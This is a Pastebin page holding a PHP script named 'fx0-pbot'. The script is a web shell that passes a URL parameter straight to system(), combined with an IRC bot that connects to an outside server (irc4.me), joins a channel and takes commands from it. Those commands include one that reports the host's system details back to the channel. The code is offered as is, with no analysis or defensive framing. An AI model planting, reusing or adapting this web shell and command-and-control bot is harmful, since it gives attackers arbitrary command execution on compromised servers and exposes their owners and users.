r00t-err0r

fx0-pbot

Jan 23rd, 2013
545
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.51 KB | None | 0 0
  1. <?php
  2. if($_GET['x'])
  3. {
  4. echo system($_GET['x']);
  5. }
  6. else
  7. {
  8. set_time_limit(0);
  9. $server = "irc4.me"; //server
  10. $port = 6667; //port
  11. $chan = "#Chat"; //kanal
  12. $nick = "MuHaR";
  13. $pwd = "sifra";
  14. $date = date("F j, Y, g:i a");
  15. $uname = php_uname();
  16. $ident= "Gost";  
  17. $ihost="irc4.me";
  18. $realname = "Znaci #Zemun !"; //realname
  19. $nickreal = "Gost_".(rand()%1000000);
  20. $socket = fsockopen("$server", $port);
  21. fputs($socket,"USER ".$ident."@".$ihost." bla bla :".$realname."\n");
  22. fputs($socket,"NICK $nick\n");
  23. fputs($socket,"PRIVMSG nickserv identify ".$pwd."\n");
  24. fputs($socket,"MODE ".$nick." +p\n");
  25. fputs($socket,"JOIN ".$chan."\n");
  26. fputs($socket,"JOIN ".$chan."\n");
  27. fputs($socket,"JOIN ".$chan."\n");
  28. fputs($socket,"JOIN ".$chan."\n");
  29. fputs($socket,"JOIN ".$chan."\n");
  30. fputs($socket,"JOIN ".$chan."\n");
  31. fputs($socket,"JOIN ".$chan."\n");
  32. fputs($socket,"NICK ".$nickreal." \r\n");
  33.  
  34.  
  35.  
  36. while(1) {
  37.     while($data = fgets($socket,128)) {
  38.             flush();
  39.  
  40.             $ex = explode(' ', $data);
  41.         $rawcmd = explode(':', $ex[3]);
  42.         $oneword = explode('<br>', $rawcmd);
  43.             $channel = $ex[2];
  44.         $nicka = explode('@', $ex[0]);
  45.         $nickb = explode('!', $nicka[0]);
  46.         $nickc = explode(':', $nickb[0]);
  47.  
  48.         $host = $nicka[1];
  49.         $nick = $nickc[1];
  50.             if($ex[0] == "PING"){
  51.                 fputs($socket, "PONG ".$ex[1]."\n");
  52.             }
  53.  
  54.         $args = NULL; for ($i = 4; $i < count($ex); $i++) { $args .= $ex[$i] . ' '; }
  55.  
  56.             if ($rawcmd[1] == ".cire") {
  57.                 fputs($socket, "PRIVMSG ".$channel." :".$args." \n");
  58.             }
  59.         elseif ($rawcmd[1] == ".md5") {
  60.             fputs($socket, "PRIVMSG ".$channel." :14Encoded9[+]4".md5($args)."\n");
  61.         }
  62.         elseif ($rawcmd[1] == ".b64e") {
  63.             fputs($socket, "PRIVMSG ".$channel." :14Encoded9[+]4".base64_encode($args)."\n");
  64.         }
  65.         elseif ($rawcmd[1] == ".b64d") {
  66.             fputs($socket, "PRIVMSG ".$channel." :14Decoded9[-]11".base64_decode($args)."\n");
  67.         }
  68.                 elseif ($rawcmd[1] == ".udji") {
  69.             fputs($socket, "JOIN :".$args."\n");
  70.         }
  71.                 elseif ($rawcmd[1] == ".umri") {
  72.             fputs($socket, "QUIT \r\n");
  73.         }
  74.                 elseif ($rawcmd[1] == ".izadji") {
  75.             fputs($socket, "PART :".$args."\n");
  76.         }
  77.                 elseif ($rawcmd[1] == ".rnd") {
  78.             fputs($socket, "NICK $nickreal\r\n");
  79.         }
  80.                 elseif ($rawcmd[1] == ".nick") {
  81.             fputs($socket, "NICK ".$args."\r\n");
  82.         }
  83.                 elseif ($rawcmd[1] == ".time") {
  84.             fputs($socket, "PRIVMSG ".$channel." :9,14".$date."\r\n");
  85.         }
  86.                 elseif ($rawcmd[1] == ".uname") {
  87.             fputs($socket, "PRIVMSG ".$channel." :9,14 ".$uname."\r\n");
  88.         }
  89.                 elseif ($rawcmd[1] == ".pvt") {
  90.             fputs($socket, "PRIVMSG ".$args." :9,14".$args."\r\n");
  91.         }
  92.                 elseif ($rawcmd[1] == ".ntc") {
  93.             fputs($socket, "NOTICE ".$args." :".$args."\r\n");
  94.         }
  95.                 elseif ($rawcmd[1] == ".about") {
  96.             fputs($socket, "PRIVMSG ".$channel." :9,14This bot is made for krstarica by fx0...Nothing special!!!\r\n");
  97.         }
  98.     }
  99. }
  100. }
  101. //Shows the text in the browser as Time - Text
  102. echo nl2br(date('G:i:s')."-".$data);
  103.  
  104. //Flush it out to the browser
  105. flush();
  106. ?>
Advertisement
Add Comment
Please, Sign In to add comment